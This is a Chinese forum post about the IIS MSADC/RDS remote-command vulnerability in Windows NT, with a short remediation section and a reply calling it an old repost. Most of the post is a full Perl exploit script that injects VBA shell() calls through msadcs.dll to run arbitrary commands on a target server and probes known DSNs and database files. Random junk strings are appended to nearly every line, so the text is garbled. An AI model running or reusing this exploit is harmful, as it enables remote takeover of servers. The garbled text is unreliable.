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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) (t"YoWA#m  
'KW+Rr~tZn  
涉及程序: u.xA}yVS  
Microsoft NT server a7 '\*  
=fu_ Jau}  
描述: 0^-b}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 8 )2u@sx%  
ES:p^/=*  
详细: ]T28q/B;k  
如果你没有时间读详细内容的话,就删除: b^|,9en  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :;gwdZ  
有关的安全问题就没有了。 6`{)p&9  
8)Bn?6.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 s#8{:ko  
ROI$;B(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4tN~UMw?  
关于利用ODBC远程漏洞的描述,请参看: h^3Vd K,  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm | Y,X=Ed  
5E!|on  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a6K$omu  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4QN6BZJ5  
C J}4V!;|  
这里不再论述。 =*O9)$b  
70 D Q/b  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j(2tbWg9-  
S3[oA&  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset L:];[xa%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! sjgxx7  
Q0oDl8~  
'\3.isTsx  
#将下面这段保存为txt文件,然后: "perl -x 文件名" DW;.R<8  
l>Oe ,`9O  
#!perl ;:K?7wfXn  
# BtDgv.;GH  
# MSADC/RDS 'usage' (aka exploit) script HoQ(1e$G-  
# zJym`NF  
# by rain.forest.puppy ?eZ"UGZg'  
# A_dYN?^?|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me {~ vPq  
# beta test and find errors! z8MpE  
-ZMl[;OM  
use Socket; use Getopt::Std; @x\gk5  
getopts("e:vd:h:XR", \%args); (4/`@;[  
9= ;g4I  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9HBx[2&  
;R-Q,aCM}  
if (!defined $args{h} && !defined $args{R}) { u=?P*Y/|W  
print qq~ X$Qi[=L  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Hwi7oXP  
-h <host> = host you want to scan (ip or domain) :Y&W)V-  
-d <seconds> = delay between calls, default 1 second N_~Wu  
-X = dump Index Server path table, if available vmQ DcCw  
-v = verbose % w/1Uo24  
-e = external dictionary file for step 5 ;@$," P  
So0,)  
Or a -R will resume a command session bu!<0AP"N+  
[ZpG+VAJ8  
~; exit;} a~+WL  
Xwqf Wd_  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  7qdl,z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !N2 n@bo  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <Ucfd G&Lp  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w2_I/s6B  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >5Rw~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Bk(XJAjY  
dXSb%ho  
if (!defined $args{R}){ $ret = &has_msadc; 2T?1X{g  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?@7|Q/  
ErUk>V  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" l<:)rg^,  
. "cmd /c "; eFI9S.6  
$in=<STDIN>; chomp $in; >WG91b<Xq  
$command="cmd /c " . $in ; dJgOfg^  
E;*TRr><  
if (defined $args{R}) {&load; exit;} $+yQ48Wq  
=(uy':Dbn*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1 jd=R7  
&try_btcustmr; 9U%}"uE  
;R>42 qYF  
print "\nStep 2: Trying to make our own DSN..."; |zegnq~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; i}12mjF  
rs)aEmvC  
print "\nStep 3: Trying known DSNs..."; =cX"gI[  
&known_dsn; X| 0`$f  
vG=$UUh@~  
print "\nStep 4: Trying known .mdbs..."; *`/@[S2,cu  
&known_mdb; g{.@|;d <p  
<\Dl#DH  
if (defined $args{e}){ )=y6s^}  
print "\nStep 5: Trying dictionary of DSN names..."; |Szr=[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~ .=HN}E  
oEf^o*5(  
print "Sorry Charley...maybe next time?\n"; $XzlW=3y  
exit; Qpu2RfP  
G\+MT(&5  
############################################################################## [1X5r<(W5  
Jywz27j  
sub sendraw { # ripped and modded from whisker \^Q)`Lqp:g  
sleep($delay); # it's a DoS on the server! At least on mine... &^<T/PiR  
my ($pstr)=@_; E<[ bgL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Hm[!R:HW,S  
die("Socket problems\n"); eyp\h8!u_  
if(connect(S,pack "SnA4x8",2,80,$target)){ @Pg@ltUd  
select(S); $|=1; bGLp0\0[  
print $pstr; my @in=<S>; >.sN?5}y  
select(STDOUT); close(S); ?v*7!2;  
return @in; {dH<Un(4Z  
} else { die("Can't connect...\n"); }} Z4tq&^ :c=  
<J uJ`t  
############################################################################## 3S21DC@Y  
xVo)!83+Q  
sub make_header { # make the HTTP request "uNxKLDB  
my $msadc=<<EOT ^qy-el  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8 ?R_O}U  
User-Agent: ACTIVEDATA \r&@3a.>  
Host: $ip HBYpjxh  
Content-Length: $clen ho=]'MS|  
Connection: Keep-Alive FK('E3PG  
tA n6pGp  
ADCClientVersion:01.06 y.NArN|%  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %HS!^j3C%  
Q(Y,p`>  
--!ADM!ROX!YOUR!WORLD! +VFwYdW,  
Content-Type: application/x-varg pIjVJ9+j  
Content-Length: $reqlen ]@g$<&  
h2*&>Mc  
EOT  ~&jCz4M  
; $msadc=~s/\n/\r\n/g; -v2q:x'G#  
return $msadc;} "C|l3X'  
G+p>39P   
############################################################################## +u)$o  
PA[Rhoit,  
sub make_req { # make the RDS request L-TVe  
my ($switch, $p1, $p2)=@_; 'Z9F0l"Nr  
my $req=""; my $t1, $t2, $query, $dsn; I=-;*3g6  
73<yrBxp  
if ($switch==1){ # this is the btcustmr.mdb query  `a9>4  
$query="Select * from Customers where City=" . make_shell(); H(m+rk  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Um|Tf]q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} BGjTa.&  
Q*(C)/QW  
elsif ($switch==2){ # this is general make table query ,_-*/- 7;8  
$query="create table AZZ (B int, C varchar(10))"; d8I:F9  
$dsn="$p1";} bME3" e{O  
w#b2iE+Bw  
elsif ($switch==3){ # this is general exploit table query md s\~l73  
$query="select * from AZZ where C=" . make_shell(); `v er "s;  
$dsn="$p1";} 9D21e(7X  
EF~PM  
elsif ($switch==4){ # attempt to hork file info from index server pdu  
$query="select path from scope()"; {<n)zLy  
$dsn="Provider=MSIDXS;";} N/=3Bs0y-  
Z}f_\d'  
elsif ($switch==5){ # bad query S!cXc/H-R  
$query="select"; 1i2O]e!  
$dsn="$p1";} p$ <qT^]&  
a06q-3zw  
$t1= make_unicode($query); }A ^,y  
$t2= make_unicode($dsn); P ie!Su`  
$req = "\x02\x00\x03\x00"; 1i2w<VG1  
$req.= "\x08\x00" . pack ("S1", length($t1)); h!]A(T\J  
$req.= "\x00\x00" . $t1 ; u{z{3fW_  
$req.= "\x08\x00" . pack ("S1", length($t2)); 'kK%sE   
$req.= "\x00\x00" . $t2 ; 9mm(?O~'p  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `7ZJB$7D|*  
return $req;} ?8/h3xV;  
_\[G7  
############################################################################## ';F][x5j  
1>{(dd?L  
sub make_shell { # this makes the shell() statement )P])0Y-  
return "'|shell(\"$command\")|'";} {D#`+uw  
n5/Q)*e0'#  
##############################################################################  (v}:  
YJ$ =`lIM  
sub make_unicode { # quick little function to convert to unicode bS<p dOX_  
my ($in)=@_; my $out; 0rUf'S ?K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Awh)@iTL  
return $out;} m ws.)  
A@r,A?(  
############################################################################## G.T1rUh=  
!HYqM(|{.  
sub rdo_success { # checks for RDO return success (this is kludge) cGKk2'v?  
my (@in) = @_; my $base=content_start(@in); 4N&}hOM'S  
if($in[$base]=~/multipart\/mixed/){ 2D"/k'iA  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} q4oZJ-`  
return 0;} ,,gYU_V  
e+TNG &_  
############################################################################## 5c8x: e@  
N 5DS-gv  
sub make_dsn { # this makes a DSN for us b.&YUg[#  
my @drives=("c","d","e","f"); ^p/mJ1/s7  
print "\nMaking DSN: "; cO9Aw!  
foreach $drive (@drives) { K%;yFEZ  
print "$drive: "; ~O6=dR  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . W{d/m;<@N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1\uS~RR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); <Vb{QOgc;  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; uip]K{/A!e  
return 0 if $2 eq "404"; # not found/doesn't exist rg\w!L(  
if($2 eq "200") { #4>F%_  
foreach $line (@results) { `0F IJT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} yM@cml6Ox  
} return 0;} 1wt]J!hgV  
X*Zv,Wm  
############################################################################## $)!Z"2T  
4NIfQYC.  
sub verify_exists { $P_Y8:  
my ($page)=@_; jYv !}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); vCM'nkXY  
return $results[0];} tP-c>|cz  
=_Rd0,  
############################################################################## ;nE}%lT  
; ]!  
sub try_btcustmr { z?xd\x  
my @drives=("c","d","e","f"); |1o]d$3m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "/5b3^a  
sTDBK!9I  
foreach $dir (@dirs) { 2Z~o frj  
print "$dir -> "; # fun status so you can see progress 6%-2G@6d  
foreach $drive (@drives) { `Ec+i  
print "$drive: "; # ditto MZ'HMYed   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ZUycJ-[  
$reqlenlen=length( "$reqlen" ); [aC(Ga}  
$clen= 206 + $reqlenlen + $reqlen; cf9y0  
{;U:0BPI3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Nsq%b?#  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} iKwVYL  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .PgkHb=l@  
r+Y1m\  
############################################################################## x{E[qH_1Fm  
d<o  
sub odbc_error { ^_uzr}LE`  
my (@in)=@_; my $base; YQ/ *|  
my $base = content_start(@in); }O/Nn0,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this q2y:b qLWl  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @p;4g_F  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .;'xm_Gw<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; AO6;aT  
return $in[$base+4].$in[$base+5].$in[$base+6];} F+GQl  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <S qbj;  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .JE7vPv%!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} M%/D:0  
Ts\7)6|F  
############################################################################## !wgj$5Rw.  
{<@~;iq  
sub verbose { /.r($S g^  
my ($in)=@_; 15COwc*k  
return if !$verbose; ?4_;9MkN  
print STDOUT "\n$in\n";} _[ x(p6Xp  
Hi Yx(hY  
############################################################################## %}/)_RzQ  
n2E2V<#   
sub save { hf[K\aAk  
my ($p1, $p2, $p3, $p4)=@_; MEu-lM7v  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; KGIz)/eSg  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [ LCi,  
close OUT;} m<E7cY3mX  
I ; _.tG  
############################################################################## Nn$$yUkMX  
VaB7)r  
sub load { 0pQ>V)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,Gfnf%H\8>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); p: o*=  
@p=<IN>; close(IN); z,)Fvs4U.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); m#Cp.|>kP4  
$target= inet_aton($ip) || die("inet_aton problems"); *;Vq0a!  
print "Resuming to $ip ..."; 2.6,c$2tB  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; cMj<k8.{  
if($p[1]==1) { x\*5A,w{c]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #xmUND`@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *jYwcW"R{z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9} vWTt0  
if (rdo_success(@results)){print "Success!\n";} q9OIw1xQr*  
else { print "failed\n"; verbose(odbc_error(@results));}} ` F)Iv:;y,  
elsif ($p[1]==3){ [f'7/w+  
if(run_query("$p[3]")){ U5Y*xm<  
print "Success!\n";} else { print "failed\n"; }} @:Ns`+ W*  
elsif ($p[1]==4){ Th8xh=F[  
if(run_query($drvst . "$p[3]")){ ZrTq)BZ  
print "Success!\n"; } else { print "failed\n"; }} thh, V   
exit;} \sk,3b-&'  
[-l^,,E  
############################################################################## yH Cc@`1.  
e"v Eh  
sub create_table { m>iuy:ti  
my ($in)=@_; ~Sh}\&3p  
$reqlen=length( make_req(2,$in,"") ) - 28; @t_<oOI2  
$reqlenlen=length( "$reqlen" ); k z#DBh!&  
$clen= 206 + $reqlenlen + $reqlen; * 08LW|:,  
my @results=sendraw(make_header() . make_req(2,$in,"")); /F\7_  
return 1 if rdo_success(@results); t*COzE  
my $temp= odbc_error(@results); verbose($temp); [\VzI\vb  
return 1 if $temp=~/Table 'AZZ' already exists/; ( nBsf1l  
return 0;} ^3e l-dZ  
O&}07(  
############################################################################## uuq?0t2Z  
VR'w$mp  
sub known_dsn { b c+' n  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hJ|z8Sy@1  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", WYq, i}S  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \UXQy{Ex  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); b^v.FK46G  
LE7o[<>  
foreach $dSn (@dsns) { MFC= oKD  
print "."; iB\d `NUf  
next if (!is_access("DSN=$dSn")); ]Y3ALQr!  
if(create_table("DSN=$dSn")){ >6@UjGj54  
print "$dSn successful\n"; b&LhydaJ  
if(run_query("DSN=$dSn")){ w'UP#vT5&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |_O1V{Q=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} n44j]+P  
4-m}W;igu  
############################################################################## ddw!FH2W (  
 "d A"N$  
sub is_access { &oT]ycz%  
my ($in)=@_; C4b3ZcD2  
$reqlen=length( make_req(5,$in,"") ) - 28; *bR _ C"-  
$reqlenlen=length( "$reqlen" ); FCg,p2  
$clen= 206 + $reqlenlen + $reqlen; v'|Dj^3[  
my @results=sendraw(make_header() . make_req(5,$in,"")); }+SnY8A=KZ  
my $temp= odbc_error(@results); b7\nCRY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 3c6<JW  
return 0;} le*pd+>j  
vZ*5 93C8  
############################################################################## -q-%)f  
_N<8!(|w  
sub run_query { NWTsL OIm  
my ($in)=@_; wt-)5f'{  
$reqlen=length( make_req(3,$in,"") ) - 28; U2G\GU1 X  
$reqlenlen=length( "$reqlen" ); `AYHCn  
$clen= 206 + $reqlenlen + $reqlen; HIF.;ImG^  
my @results=sendraw(make_header() . make_req(3,$in,"")); oqG 0 @@  
return 1 if rdo_success(@results); <}|+2f233+  
my $temp= odbc_error(@results); verbose($temp); u\6:Txqq  
return 0;} PyIIdTm  
IuRKj8J)o  
############################################################################## CA{c-kG  
T,k`WR  
sub known_mdb { q'PA2a:  
my @drives=("c","d","e","f","g"); w@hm>6j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); La9dFe-uu{  
my $dir, $drive, $mdb; K !`tEW[  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :[,n`0lH  
Cfa?LgSz  
# this is sparse, because I don't know of many KpSHf9!&[  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ni9/7  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", U*)pUJ{&t  
"\\system32\\certmdb.mdb", hMi`n6m  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ^ng?+X>mP  
Zsaz#z|xW  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g&v2=&aj  
"\\cfusion\\cfapps\\forums\\forums_.mdb", y+@7k3"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =T!M`  
"\\cfusion\\cfapps\\security\\realm_.mdb", Uh*V>HA#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  E{h   
"\\cfusion\\database\\cfexamples.mdb", &g|-3)A  
"\\cfusion\\database\\cfsnippets.mdb", {D$#m  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,LG6py&aT  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !MoGdI-<r[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", CmM K\R.  
"\\cfusion\\database\\smpolicy.mdb", =p$1v{L8  
"\\cfusion\\database\cypress.mdb", -fYgTst2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", I9H+$Wjd  
"\\website\\cgi-win\\dbsample.mdb", =! /S |  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Fj|C+;Q.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" h%pgdix  
); #these are just $:SHZe  
foreach $drive (@drives) { k/cQJz  
foreach $dir (@dirs){ ?PLf+S  
foreach $mdb (@sysmdbs) { Hcuvu[)T"  
print "."; )V} t(>V  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;ZB[g78%R%  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; UZv^3_,qz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ IrJCZsk  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; M~=9ym  
} else { print "Something's borked. Use verbose next time\n"; }}}}} :4/RB%)"  
V{ECDg P  
foreach $drive (@drives) { a*! wiTGf  
foreach $mdb (@mdbs) { "4|D"|wI)  
print "."; a//<S?d$:  
if(create_table($drv . $drive . $dir . $mdb)){ o[0Cv*  
print "\n" . $drive . $dir . $mdb . " successful\n"; E\5t&jZr  
if(run_query($drv . $drive . $dir . $mdb)){ !Mceg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |I6\_K.=L  
} else { print "Something's borked. Use verbose next time\n"; }}}} WM~@/J  
} /{^Qup  
WL+I)n8~  
############################################################################## NO8)XJ3s  
_5y3<H<?  
sub hork_idx { z\{y[3-  
print "\nAttempting to dump Index Server tables...\n"; *#w+*ywVZH  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; C8%q?.nH=  
$reqlen=length( make_req(4,"","") ) - 28; w>J|416  
$reqlenlen=length( "$reqlen" ); GeD^-.^  
$clen= 206 + $reqlenlen + $reqlen; b+9M? k"  
my @results=sendraw2(make_header() . make_req(4,"","")); I 4 ,C-D  
if (rdo_success(@results)){ +\2{{~_z  
my $max=@results; my $c; my %d; N\BB8<F  
for($c=19; $c<$max; $c++){ ?V3e;n  
$results[$c]=~s/\x00//g; QJjqtOf>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h%9#~gJ})  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ZG"_M@S.  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5L'X3g  
$d{"$1$2"}="";} t3 2 FNg  
foreach $c (keys %d){ print "$c\n"; } +QGZ2_vW  
} else {print "Index server doesn't seem to be installed.\n"; }} 2c LIz@  
7X*$Fu<  
############################################################################## tU.Y$%4  
7='lu;=,  
sub dsn_dict { M3!A?!BU  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); := C-P7  
while(<IN>){ <!Ed ND=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |>Qj]  
next if (!is_access("DSN=$dSn")); 1/:WA:]1 ,  
if(create_table("DSN=$dSn")){ ozy~`$;c  
print "$dSn successful\n"; &A)AV<=>T  
if(run_query("DSN=$dSn")){ fucG 9B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~7IXJeon  
print "Something's borked. Use verbose next time\n";}}} T%B&HsH  
print "\n"; close(IN);} #`?B:  
7VduewKX8  
############################################################################## DD{-xCCR  
#?DwOUw  
sub sendraw2 { # ripped and modded from whisker JTA65T{3  
sleep($delay); # it's a DoS on the server! At least on mine... t2uX+1F  
my ($pstr)=@_; ).0klwfV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B+:/!_  
die("Socket problems\n"); ZF^$?;'3  
if(connect(S,pack "SnA4x8",2,80,$target)){ @8{-B;   
print "Connected. Getting data"; dj>zy  
open(OUT,">raw.out"); my @in; ?S9? ?y/  
select(S); $|=1; print $pstr; fP# !ywgr%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +"Flu.+['  
close(OUT); select(STDOUT); close(S); return @in; E">FH >8K}  
} else { die("Can't connect...\n"); }} lA>^k;+>  
Y@B0.5U2  
############################################################################## R~ n[g  
C@1B?OfJ  
sub content_start { # this will take in the server headers ]-]K4*{   
my (@in)=@_; my $c; f9ux+XQk9  
for ($c=1;$c<500;$c++) { k+b!Lw!L  
if($in[$c] =~/^\x0d\x0a/){ jwhc;y  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } dxfF.\BFDn  
else { return $c+1; }}} /vO8s??  
return -1;} # it should never get here actually =z#6mSx|W  
i[_B~/_  
############################################################################## '-c *S]:r  
/6",#B}%b  
sub funky { -|V1A[  
my (@in)=@_; my $error=odbc_error(@in); imw,Nb  
if($error=~/ADO could not find the specified provider/){ "%]<Co<S  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?"04u*u3  
exit;} )}w2'(!X8  
if($error=~/A Handler is required/){ Z$jqB~=^e  
print "\nServer has custom handler filters (they most likely are patched)\n"; In13crr4!  
exit;} x# MMrV&M  
if($error=~/specified Handler has denied Access/){ m'HAt~  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~j3O0s<gK  
exit;}} _[F(8Q x"  
X\&CQiPS  
############################################################################## S7a05NO  
>V1vw7Pa  
sub has_msadc { +guCTGD:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); e7tp4M9!%  
my $base=content_start(@results); ^I W5c>;|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); r)<c ~\0 7  
return 0;} gOb"-;Zw  
M]|tXo$?  
######################## t^Z-0jH  
jEhPx  
CZZwBt$P  
解决方案: 28 Q\{Z.  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll YF8;s4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 pSa pF)1>  
rF?gKk  
拿出来充数 哈哈
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